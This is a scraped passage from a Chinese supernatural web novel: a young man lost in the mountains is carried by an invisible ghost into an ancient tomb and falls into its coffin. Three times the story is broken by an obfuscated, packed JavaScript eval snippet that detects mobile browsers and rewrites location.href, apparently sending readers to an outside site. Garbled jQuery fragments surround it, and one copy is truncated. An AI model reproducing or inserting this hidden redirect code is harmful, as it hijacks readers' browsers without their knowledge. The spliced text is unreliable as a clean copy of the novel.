许是近日下了几场大雨的缘故,石面滑砺不堪,宋辉洄堪堪用脚尖抵住石头的一角,刚刚发力,脚底便‘刺溜’一下向下滑去,脚下顿时落空。
宋辉洄慌忙用手扒拉石头,却只拨下了一颗小小的青苔。随即他立刻朝下方跌下去,曲着腿,腰也扭着,眼见就要狠狠的跌撞到秃秃的土路上摔个倒栽葱。
——四下无人的山林里,从宋辉洄的后腰处探来了一只用力的大手,抄过腋下,轻轻将他的身体拨正了。
宋辉洄觉得自己被提在半空,脚尖绷紧,在空中晃了晃。
鬼长得好高。
宋辉洄圆溜溜睁大眼,忽地蹦出了这么个念头。
宋辉洄从小长得就比同龄的男生矮一些,高中的时候还因为这事被冠上了‘校花’的名头,所以他对身高有点儿微妙的执念和敏感。
很快,他就不服输的想着:或许是这鬼飘着呢?总之是不能有人长到能把他一手提起的高度。但如果是真的呢?那这鬼是吃什么长大的?但长得这么高这么壮,偏偏胆子这么小,自己一说不喜欢他就吓得不行,长得高也不顶用。
宋辉洄哼哼着,被提溜着落下地后他就一直低着头,脚尖踢着地上的小石块,思来想去,心里那点微妙的被比下去的不忿才消歇,拧绞着指头,好半晌,才一码归一码地对着空气轻声道:
“鬼,这次谢谢你哦。”
——如果不把自己像提小孩一样提起来……就更好了。
11. 第 11 章
这里的树和山仿佛生得无穷无尽,延展至天地的两端,有时宋辉洄抬头望着眼前迷障一般景色,总能产生一种光靠人类两条腿是绝对走不出去的幻觉。
也或许不是幻觉。
宋辉洄展开包里掖着的地图,抖了三抖,地图便灰扑扑的露出它全部的样貌。
他当初的顾虑是正确的。
手机在宋辉洄行走一个小时之后彻底没了信号,消息停留在五叔发给宋辉洄的一张图片上。
图片是一间位于山林深处的石头屋,屋子旁边长了一棵苍苍的榕树,它很老了,有一片小树林那么大,像一具屹立在山林间的庞大尸体,枝条垂落,扎进土里,膨胀成一根又一根缠绕虬结的枯色树干,只有树顶抽出的一点儿新嫩的绿色昭示着它尚未完全死去。
「五叔:你往前走,看到这棵大榕树就到了。」
宋辉洄仔细的端详着这棵榕树许久,又抬头望了望周边的树木,只觉得有苦说不出。
F市最不缺的就是榕树。
一眼望去,这山头是榕树,回头看,那山头还是榕树。
就算图片中的榕树庞大苍老,但藏木于林无异于大海捞针。偏偏信号就此歇火,宋辉洄踱来踱去,踱了二里地都没能找到把消息发出去的地方。
望着消息框旁不停旋转的圈,宋辉洄轻磨了磨牙,认命的将手机关机保存电量,转头靠着手里的地图继续向前走。
或许是山势越来越高的原因,天渐渐的凉了。
褐色的土壤逐渐的渗出一层乳白色淡淡的雾,齐脚高,浅浅依附着土地,不至于遮住眼前的路,却将人的脚全然浸没了。
宋辉洄一步一个脚印的扒开挡路的树杈,艰难的朝里走。
越走,越是冷。
山上温度下降的速度有点儿超出宋辉洄的预期,他先前带的一件薄外套已经不顶用了,寒气渗过布料,一点点的爬过皮肤,掀起一阵小小的鸡皮疙瘩,宋辉洄抬手揉搓小臂,抬眼望着前方一路无垠的树木,心下发凉。
他隐隐有种不好的预感。
——应该没那么倒霉吧。
难道又要被困在山里了吗?
宋辉洄紧紧攥着地图,盯着地图上七横八错像蛇一样弯曲缠绕的线条,心下也有点儿没底了。
更糟糕的是,天色一点点的沉了下去,黑夜像一只巨大黑黢的嘴,慢吞吞咬食着光亮,三口两口的,就那么一点单薄的光,眼见着它的大嘴便要吞完了——
没找到没找到,还是没找到。
宋辉洄的脸渐渐泛白。
地图上明明在这处标了一处补给的地点,宋辉洄老远就瞧见了石头屋嶙峋的屋顶隐隐绰绰的藏在绿色的枝叶里,可当他费尽心思靠近时,石头屋却又像是海市蜃楼一般消失不见,只有依旧茂盛繁密的树林横亘眼前。
宋辉洄深吸了口气,强稳住心神,低头翻看地图。
眼下有两条路。
一条往左,或许能够在天黑之前下山。一条向右,通往五叔给的地点。
宋辉洄的脚步游疑刹那,他本来打着能尽块解决就不要再拖延假期的念头,想尽早的从五叔那拿完东西回去。可愈发浓郁的□□退了宋辉洄,让他萌生了退意。
还是趁着太阳没有完全落山,快些回去吧。
宋辉洄回头最后瞧了眼自己的方位,又顿了顿,掂起一把小刀,在临路的树干上划下了两笔‘x’字型的记号。
一路做记号过去,明天再来时就不会走错路了。
宋辉洄垂眼,乌瞳认真的盯了记号好半会儿。确认将其记下之后,他才迈开脚朝左侧的路走去。
树影幢幢,脚底下是没完没了的土路,宋辉洄加快脚步,树影便很快落在了他的后方,光亮很淡,将落不落的,却在宋辉洄的身后曳下一条长长的影子,影子紧紧跟在宋辉洄的脚踝后头,宋辉洄走土路,它也走土路,宋辉洄翻石头,它也跟着翻石头,宋辉洄累了歇会儿脚,它便期期艾艾的挨着脚后跟,小狗般的跟着。
宋辉洄是真的累着了。
说起来倒是奇怪,他方才爬山时没觉得怎么累,可一下山,疲倦就涌了上来,让他手脚发酸发麻,脚后跟灌了铅,总觉得好像他走过的土壤里头探出一只手,扒拉着,攥着他的脚踝,不让他走似的,否则为什么他的脚会这么累呢?
宋辉洄犯了疑心病,还不信邪的回头瞧了眼后头。
可哪儿有什么手?有的只是自己被夕阳拉得长长的影子,一路乖巧的跟在后头跑呢。
果真是自己多虑了。
宋辉洄嘀嘀咕咕的抱怨了几句山路的多绕,随即踢踏踢踏脚,又靠了一会儿树干。但他不敢过多耽搁时间,而是抬手迅速瞧了眼表。
宋辉洄来前特地看了太阳落山的时间,是傍晚六点半。
机械表的分针落在‘四十分’的方位,秒针一直哒哒尽职的走着,时针则是沉默的蹲在五点和六点的中间。
距离太阳下山还有五十分钟。
宋辉洄长舒口气。面前的山势已经开始变缓,估摸着距离山脚不远。若是他加紧脚步,在天黑之前到达
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507055|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
山脚的村落是绰绰有余的。
用手裹了裹了身上的薄外套,宋辉洄提脚沿着土路继续前进。
一棵又一棵长相狰狞的巨木接二连三的被宋辉洄甩在后头。宋辉洄这一路走下,也没忘记在显眼的地方坐上标记——利落的两刀下去,浅薄的在树皮上刮下一层。
既显眼,树又恢复得快,不会落下什么疤痕。这还是老观主以前教宋辉洄的方法。
‘刺啦’——
小刀又一次落下,再次在巨树枯色干瘪的躯体上留下个显眼的‘x’。
这是他做的第27个记号。
宋辉洄满意的打量两眼,斜下的刀法很正,平直的划拉开两道交叉的痕。经过这一路上的训练,宋辉洄而今做的记号已经不是当年老观主嘲弄的‘鬼画符’了,清秀之中带着遒劲,颇有风范。
宋辉洄凑近欣赏完,又缓慢往后挪了一段距离,在远处歪着头打量。
许是树皮材质的原因,这一棵记下的弧度最为完美,比之前的都要好看上几分。但可惜,路上遇到的这种树不多,只记了几棵,如果下山途中再次遇到,或许可以……
宋辉洄一边有一搭没一搭的走神的想着,一边侧过头,打算继续向前走。
可没等他迈出几步,忽地,宋辉洄的脚步被钉在了原地。
他寸寸的挪开眼,视线落向前方的树干。
这是一棵庞大的榕树,肥硕的树干横在路的中央,繁密的延展的树干之上长出一条条垂落在地的树须,风一吹,呜呜泱泱的晃动,像攒动的帘条,隐隐绰绰的挡着中间土色的枝干。
——以及枝干上,那道明显的‘x’。
x的笔画是宋辉洄再熟悉不过的了,两条相交的斜线,简单明了。榕树上的‘x’也是如此,简单明了,只不过落笔生涩,笔画粗糙,歪歪斜斜的斜过两笔,比宋辉洄方才划拉的差远了。
何止是差远了。
整整差了26次练习。
宋辉洄指头发麻,只觉得山风冷得刺骨,一点点将他浸到冰水里似的,冻骨生寒。
他方才走着神,这下骤然惊醒,才注意到周遭的一切。
这并不能怪宋辉洄,这座山岭的树木生得是如此神似,一双双狰狞枯败的虬枝中路的两侧探出,如同挣扎着的一只只大掌,勾着宋辉洄的衣摆裤脚,一双又一双,让人很难察觉其中的区别。
榕树的两侧分别有两条路。
一条往左,是下山的路。一条向右,通往五叔给的地点。
他回到了最初的原点。
12. 第 12 章
宋辉洄顿住了。
余光里脚踝处细长的影子依旧紧贴着他,只是因为傍晚的光稍稍弱下一点儿,影子的轮廓不甚清晰,望远了看,似是要和宋辉洄的皮肉黏在一起。
宋辉洄知道自己此刻最不该做的就是胡思乱想,他低头再看了眼表,秒针一点点打着旋,细长的分针则是锐利的指向十分的位置。
还好。
还剩下二十分钟太阳才落山。
宋辉洄天性乐观,他双手上下攥紧了小包的肩带,月牙形的指甲紧紧扣着肩带的边缘,划下一道平直的线,暗自给自己鼓了鼓气。
他定能在天黑前下山的!!
枯叶在脚下发出细碎的咔嚓响,在寂静山林中显得无比刺耳。
宋辉洄想得倒是很美好。
下一瞬,残余的光线投下的婆娑树影刹那消失,狭窄的路面顿时暗淡,黑黢涌了上来,巨大的天幕沉沉发黑,黑得发烂,隐约能嗅到空气中朽木的腐烂味。
一抬头的功夫,天彻底的黑了。
宋辉洄不可置信的仰起头,原地转了一圈,像是在确认什么,而后又抬起手腕,迅速眨了眨眼,可怜局促的辨认着表盘上的指针。
明明方才天空还留有一点儿阳光,明明他看准了表,明明还剩下二十分钟的时间可供他挣扎……
不对。
眼眶发了涩,黑白相间的表盘在夜里糅合成一团,模糊不堪,眨眼后又瞬间清晰,露出它‘哒哒’在走的细长指针,秒针飞快的旋着转着,时针木讷的和分针重合,成一条笔直锋利的线。
哪儿是什么六点十分?
表盘上那数字分明正正好,一刻不多一刻不少。
正是凌晨十二点。
宋辉洄指尖扣挠着表带,一下又一下。
他不信邪的凑近,微佝着雪白的脖颈,近乎要将表盘怼进眼皮里——仿佛要硬生生的看穿表盘,看穿这个讨厌的恶作剧,看穿背后捣怪的坏鬼……
一双乌瞳睁得圆溜溜,一动也不动,可怜极了,半晌才颓然的眨巴下眼睛,洇出一点儿晶莹的水光。
黑暗是一只可怖的大掌,拉紧了宋辉洄的神经。
……为什么要把他困在这里?
他脚步一点点往后挪,直至背后贴上了粗糙的树干。宋辉洄浑身顿时卸了力气倚在树干上。
宋辉洄的脑子乱糟糟的,既是累的,也是怕的,他靠了一会儿树,泪水慢吞吞的滚了下来,洇湿了雪白的腮颊,留下一道蜿蜒的泪痕。周遭的黑暗逐渐裹住了他,苍树的枝干延伸在空中,奇形怪状扭作一团,像夜里精怪的躯体。
宋辉洄从小就怕黑。
他怕黑,怕漆黑的天,怕树木在黑夜中可怖的轮廓,怕夜里老鸹嘶哑的叫嚷。
宋辉洄小时候常常偷吃隔壁村婆婆塞的零食,吃撑到小肚子浑圆,连正经饭都吃不下。
于是老观主总会吓唬他,说夜里会有山中的孤魂野鬼偷吃宋辉洄的零食,吓得小宋辉洄抽吧抽吧鼻涕,慌慌张张的把零食一股脑的放在最亮的那盏灯泡底下。
老观主便顺理成章的一网打尽,小宋辉洄囤了许久的零食一夜长了翅膀飞走,愁得小宋辉洄一大早抽抽嗒嗒,从此恨上了黑夜。
如今宋辉洄长大了,他已经不是当年那个一到了黑夜就哇哇大哭,生怕零食再被野鬼抢走的小宋辉洄了。
他蜷在树干底下,呜呜的小声哭。
宋辉洄呜呜的哭完,又萌生庆幸,庆幸自己今天幸好没带最后的两包薯片,庆幸这只鬼只会偷偷奸他,不会和老观主口里的野鬼一样把他的零食都偷光。
但他还是好累,一个人走了这么久的山路,天又这么黑,叫宋辉洄害怕极了。
凌晨12点的黑是浓稠到了极点,浓得连天上的星星也看不见,黑黢黢一片沉了下来,重重压在宋辉洄的肩上。
宋辉洄哭了好一会儿,哭得脑袋昏胀,歪着头靠坐在树干下。
这并不怪宋辉洄。
独自身处于这样可怖的山路和阴森的夜景,又碰见了鬼打墙,是个正常人都会胆战心惊两股战战,疑心暗中会窜出什么东西把自己生吞活剥了。
宋辉洄也不例外。
他掏出小包里的手机,手忙脚乱的摁起开关键,手机微弱的亮光映亮了宋辉洄面颊上了湿痕,他抽搭抽搭鼻子,点开了【短信】。
宋辉洄实在害怕黑。但还好,他比落单的爬山者强一些,他才不是孤身一人。
他身边还有一只恶鬼陪着他。
「宋辉洄:你在哪?」
「宋辉洄:是不是你把我困在这里的?」
「宋辉洄:我怕黑,你快出来陪我,陪我我就不生你气了。」
宋辉洄吧嗒吧嗒打着字,打完,就认真的把脸偎在手臂圈成的一角里,面颊湿漉漉,挤压出一点软肉。
恶鬼没让宋辉洄等多久。
一只冰冷刺骨的手横空探向他的脸颊。
粗糙的指腹摸索过宋辉洄带泪的脸颊,一遍又一遍,透明的湿痕不见了,取而代之的是一串因揉捏而生的红潮。
与此同时,宋辉洄余光的短信框里跳出一行字。
「来自未知号码:对不起。我刚刚本来想出来安慰你的。但是忽然想起来我是鬼,我怕吓到你。」
「来自未知号码:宝宝愿意让我陪真的太好了^-^」
宋辉洄瞧着这一段话,抽抽鼻子,从鼻腔里哼哼两声。
看不起他宋辉洄吗?他宋辉洄虽然只是一介普通的社畜,但他宋辉洄的胆量可是无人能敌,区区恶鬼,怎么会吓得到威风凛凛的宋辉洄?笑话。
紧接着,一双有力的手自上空探来,一手抄过宋辉洄的臀,一手虚环过宋辉洄的腰,护住他的后背,半提半抱。
宋辉洄只觉得脚下一空,紧接着他整个人高高悬起,吓得他本能的在空中划拉了几下,攀住了什么东西,树尾熊一样挂在半空中。
好丢脸。
宋辉洄的脸红彤彤。这会儿他倒是又开始庆幸山里的夜特别黑,他红着脸的窘态没有人会发现。
虽然什么也看不见,但宋辉洄能够清楚的感知得到,臀肉下方垫着的是一截有力的小臂。
青筋根根跃起,肌肉坚硬如铁,稳稳当当的将两捧雪肉托起。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507056|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>像抱小孩。
宋辉洄轻微的挣扎了一下,但很快便不动了,转而攀紧了面前看不见的鬼柱子。
原因无他——他哆嗦眨眨眼,迅速往下一瞟。
好高。
这死鬼比他想象得要高多了。
可还没等宋辉洄适应这高度,他便开始‘飘’了。
或许是没有脚的缘故,鬼抱人出奇的稳,没有颠簸,但宋辉洄的两条小腿却还是随着前进的惯性一晃又一晃。他的腿根卡着前面的‘鬼柱子’,为了避免自己掉下去,宋辉洄只得重心朝前努力的贴合,腰臀保持着糟糕的幅度。
宋辉洄只觉得自己的耳垂越来越红,越来越热,偏偏他藏无可藏——他的面前分明空荡荡,只有他一个人被高悬在空中,将落不落,连红透的脸都没法藏掖。
他们一路朝着山林的内部深入。
夜深了,但先前腾起的乳白色的齐脚高的雾气还未散去,宋辉洄一路上不敢往下看,只匆忙的瞥过两眼,周遭狰狞的树影被一个接着一个的甩在身后,前方林海徐徐展开。
蓦地,在穿过了长长一条山路后,他们停了下来。
宋辉洄艰难的扭头,朝后看去。
草木覆盖的山体之中深嵌了一道圆拱形的青铜大门。
他们身处的位置很高。宋辉洄能清楚的看见这座墓口恰好坐落在整座庞大祟宁山岭的中轴线上。
没等宋辉洄仔细打量,他身下一空,脚尖触碰到坚硬的土壤,他竟被放了下来。
宋辉洄稳住身形。他的双脚浸没在乳白色的雾气当中,只露出裤腿的一角。雾气或浓或淡,偶尔有风吹来,便会似波浪一般拍开,犹如置身云海。
宋辉洄搅紧眉头,隐约觉得这幅景象有点儿熟悉。
好像昨日梦里的场景。
面前已经没有路了,只有那道显眼的青铜大门横亘在山体之中。恶鬼把他放到这里,明晃晃的是要宋辉洄推开那扇门进去。
大门紧闭,宋辉洄试探性的往前走了几步。
先前托着抱着宋辉洄的大掌早已消失不见,山风卷过林海,扑簌簌的轻响,诺大的重重山岭静得可怕,好像又只剩下了宋辉洄一个人。
宋辉洄吞了吞喉咙,指头拧绞着衣摆,缓慢的朝着大门逼近。
离得近了,宋辉洄这才借着一点儿微弱的月光看清细节。
青铜门有几米高,门上纹饰相间,中间悬着两只狰狞的虺龙,怒目圆睁,衔着圆环。青铜门下,左右两只矗立着肃穆的石兽,风霜模糊了它们的面孔,可五官依旧狞厉。
一只是兕,一只是饕餮。
宋辉洄拧绞着的手一紧。
旁人或许不知道,但自小跟着老观主长大的宋辉洄对这些还是很了解——兕与饕餮皆是恶贯满盈的凶兽,青铜门上的纹路也是极为厉害的镇鬼决,是连见多识广的老观主也不曾亲眼见过的东西。能用它们镇墓,那里头的东西一定穷凶极恶。
祟宁山,祟宁,宁祟。
宋辉洄可怜巴巴的把这几字翻来覆去的咀嚼着,急促不安的抓紧了肩头的包带。
他究竟招惹上了什么东西?
13. 第 13 章
没等宋辉洄在墓口徘徊犹豫多久,沉重的青铜门忽地挪动。一阵轰隆隆的低吟之后,墓道露出了它黢黑的全貌。
——斜坡式墓道。墙壁从窄渐宽,几柄青铜螭首高悬墙面。火舌舔舐着灯柄,幽幽烛火照亮小块路面,细听有细碎的噼啪声。
宋辉洄退无可退。他的身后是无边无际的林海和可怖的黑暗。宋辉洄只得碾了碾唇,抬脚小心翼翼的向前走。
坡越往里走越陡。
宋辉洄的脑子嗡嗡一片,他一面用掌心攀住墙面,侧着身,谨慎地往墓道深处走;一面飞快回忆老观主的叮嘱。
但那些年宋辉洄走神的债是要还的。可怜宋辉洄绞尽脑汁翻来覆去的回想,如今只记起老观主说过的三条。
第一条,墓阴气重,万万不能屏息闭眼,否则会加快阳气流失。
——宋辉洄慌忙睁圆了眼,小心翼翼的吐气吸气。只可惜呼吸的节奏太乱,最后呛得宋辉洄咳嗽了会儿,鼻头红了小块。
第二条,墓道拐角、月光直射之处阴气最重,需要循着西北方位暂避。
——宋辉洄紧张的捏了捏衣角,发现自己根本分不清哪里是西北角。
第三条,也是最重要的一条。
宋辉洄额角沁出一点虚汗,面前的墓道终于走到了尽头。出现在他面前的是一条仅可容纳一人挨着肩膀通行的甬道,通向深不可测的尽头。
宋辉洄知道,过了这条甬道,他就要进入墓室了。
但第三条是什么呢?
宋辉洄搜肠刮肚的想。可他越是急,越是想不起来。他只记得老观主说这是最重要的一条,非常十分特别重要。以至于宋辉洄只记得了它的重要,却把它的内容忘了个干干净净。
算了。
宋辉洄决心不为难自己。
等进了墓室见了鬼……那时候再说吧。
回肠般的甬道曲曲绕绕,终的,狭窄的路途尽头渗出了一点苍白摇曳的烛光。宋辉洄加快脚步,朝着光亮的方向行去。
跨过一道高高的石槛,墓室的全貌刹时映入眼帘。
墓室呈正方形,中间深深下凹。这里远离地表,刻有几何纹的四壁高悬几只烛台,苍白的烛火映亮墓室平面。但要是往上看,便只有如同深渊般的黑暗,不见其顶。
一具巨大的椁静静的平躺在平地之下。
宋辉洄不自觉的搓了搓胳膊。这里头是真的冷,并不是因为温度低而导致的寒冷,而是由内向外,一根根刺毛的寒针从毛孔里冒出头,叫人手脚都哆嗦得发虚,使不上劲。
他谨慎局促的朝着那棺椁靠近。
尽管这座墓的年头不小了,可椁的颜色却依旧鲜艳,青铜色庄严,其上的纹路也纤毫毕现,不减当年。
墓封闭得透不进一点儿空气,烛火却依旧旺盛的在上方燃烧着,燃烧着,光线聚集在棺椁的上方。
不会是要自己打开棺椁吧……
宋辉洄退也不是进也不是,只好摸着石壁,一点点的向前挪,红润的唇被齿尖碾咬得发白。
椁上的凶兽纹饰张牙舞爪的生着爪牙,好似下一瞬就要挣出青铜椁,扑到宋辉洄身上撕咬皮肉。叫宋辉洄止不住的想那棺椁里头藏着的恶鬼是不是也是一副青面獠牙的模样。
这想法一打头,就止不住的在宋辉洄的脑海里转悠。
恶鬼恶鬼,那身形定是苍青粗壮的腿,仅凭着人是跑不过他的;可怖的十根指甲弯曲,能狠狠的剜开生人的肚皮掏出里头的肠子;结实的小臂能把人生生剥开。
至于长相嘛。
宋辉洄想起了动画片里头描绘的恶鬼的长相——阔口大眼,口中獠牙森森,面上长满黑粗的毛发,只一眼就能把小宋辉洄吓哭。
就连现在的情形也和动画片里有着相似之处:落单的路人被引到山中古墓开启棺椁,沦为了恶鬼的口粮。
宋辉洄越想,眨眼的速度越是快,隐隐有水光从眼角洇出。
这死鬼只说了喜欢他,可没说喜欢他什么呢。
万一是喜欢他的肉嫩呢?
宋辉洄一面慌张的琢磨,一面忍不住上下其手的排查着全身有肉的地方。
天可怜见,他身上没什么肉——薄薄的身板细伶伶的手腕,唯一一点儿肉全长在了屁|股上。可是也不多,恶鬼要是嘴大,三口两口屁|股肉就被啃完了,哪里吃得饱?
但话是这么说,宋辉洄却不住的脑补自己将死的画面:他身上虽然没有肉,但饿极了的恶鬼可不在乎这些,上上下下将宋辉洄嗅了个遍,最后瞄准了腰下隆起的臀肉,毫不客气的捧着肉团撕咬,宋辉洄哭啊踢啊都挣脱不开,眼睁睁瞧着自己被恶鬼的涎水舔得黏黏哒哒,最后被三口两口的吞入腹中。
好不可怜。
画面太过骇人,宋辉洄不敢多想,生怕再想下去自己就要丢脸的软了手脚,未战先降。
空荡的墓室里宋辉洄的一呼一吸都显得刺耳,蓦地,就在宋辉洄挪步到棺椁正前方的刹那,只听一阵‘轰隆’——
棺椁开了一道小小的口。
宋辉洄被这声惊得脚一软,小脸一白,差点儿就要没稳住跌进棺椁与墓室的夹缝里。
一掌冷嗖嗖的阴风迅速托住了宋辉洄的身体,将他带回了平面。
宋辉洄惊魂未定。他软着脚,手肘撑住肢体可怜的趴在地上,脑袋鸵鸟似的埋进手肘圈成的弯里,把头掩耳盗铃的埋紧了好一会儿,才侧耳偷听墓室里头的动静。
除了方才那一声挪开棺椁的轰隆声,墓室里既没有宋辉洄想象中恶鬼的咆哮,也没有什么可怕的打砸声,里头静得只剩下宋辉洄的吐息。
宋辉洄试探性的往棺椁处瞄了几眼。
棺椁开了一道小小的缝隙,并不大,露出椁室下方棺材的一角。
恶鬼没有爬出来。
宋辉洄松了一口气,但很快又把心提了起来。
方才的惊吓倒是让宋辉洄因祸得福,刺激之下记起了‘第三条’的内容。
净身焚香,勿碰其物,处处慎之。
好消息是宋辉洄记起来了,坏消息是就这一会儿的功夫,宋辉洄已经犯了两条戒。
净身焚香最好理解,为表对墓主人对尊敬,进墓前需要洗去浊气、净身焚香。
宋辉洄低头环顾一圈自己脏兮兮的袖口和裤腿,心虚捏住袖口一角,局促的往衣服上蹭了蹭灰。
勿碰其物则是要求进墓者不得触碰墓主人的陪葬品,以免惹怒墓主人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507057|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
宋辉洄心虚瞄了眼棺椁。别说不碰陪葬品了,他方才快要跌倒,慌乱之中好像狠狠蹬了棺椁几脚……
果不其然,宋辉洄只是稍稍一瞟,烙在棺椁上的几只凌乱鞋印赫然在目。
宋辉洄:……
他讪讪拉住小包的肩带,心虚咬唇,给自己找补:他虽然已经犯了两条戒,但这不是还差一个‘处处慎之’没犯么?也算不上太糟,三条戒律犯了两条而已,没逝的没逝的。
宋辉洄这般想着,先前瘪下去的气焰又回来了。他很快重整旗鼓,大着胆子往前挪。
先前棺椁自己开了一条缝,所以宋辉洄便猜测恶鬼这是要让他帮忙挪开棺椁的剩下部分。
已经犯了两条禁忌的宋辉洄摩拳擦掌,乌瞳里是铁一般的刚毅:他已经下定决心小心行事,自己定不会再犯第三条!
这倒不怪宋辉洄太过自信,实在是因为这最后一条也不是寻常人能犯戒的。
处处慎之——听起来泛泛而谈,实际也是泛泛而谈。顾名思义,行为举止要慎重妥帖,要尊重逝者。犹记得老观主在讲到这条时还捏了一把胡,点了点宋辉洄的额头,问他有没有把这条记牢。
彼时宋辉洄只觉得老观主多此一举,哪里会有人嚣张到对墓主人做一些‘不妥帖不尊重’的举动?
如今宋辉洄还是觉得老观主多此一举,他宋辉洄虽然躺平了点粗心了点厉害了点,但还不至于狂妄到做出什么真正出格的事情。
椁有三米高,其下有棺,宋辉洄用衣服抹了抹手,就算是蹭掉手上的尘土了。细白的指头扣住青铜椁侧开的缝,用力的往后拉——
三二一,扯不动。
宋辉洄薄白的面皮涨红,齿尖碾咬着唇肉,不信邪的绕到棺椁前方,调整了姿势。
足跟高高垫起,宋辉洄的脚心抵着平地,弯下腰,心底默念了好几遍‘对不起对不起’‘处处慎之处处慎之’,与此同时手心抵住青铜椁的上层铜板,利用自身重力向下推。
姿势有点儿不雅观,但好歹比第一次好了点,挪开了一点缝隙。
就在宋辉洄拍拍手,卯足了劲正准备第二次使劲时,只听棺椁‘轰隆’一声响,宋辉洄手下的椁层应声而开。
底下棺材露了出来,是个两米多长的黑木雕成的大棺,纹饰繁多,只可惜宋辉洄还没能仔细瞧清楚,只听一声细弱的尖叫,他的指头扒不住椁层,脚心抵不牢地板,整个人重心偏移,手下一滑,径直往下掉——
宋辉洄能做的只有尽可能的翻身,不让自己脸朝地的栽进棺材里。
面对面和死者相撞什么的,未免也太不尊重死者了……
但很快,他就意识到翻身也不是个好主意。
棺材板出奇的薄,可恨的薄,宋辉洄怎么想也想不明白这样规格的墓葬会配一个如此薄的棺材板,薄得让人咬牙切齿,薄得在宋辉洄跌落的一瞬间,又听一声可恨的‘咔嚓’声——棺材板碎了。
宋辉洄只觉得下身顿空,紧接着臀肉一疼,撞上了什么东西。
宋辉洄僵住了身。
放空的脑袋里窜出了第一个念头:好挺的鼻子。
窜出的第二个念头:完了。
他好像坐人家脸上了。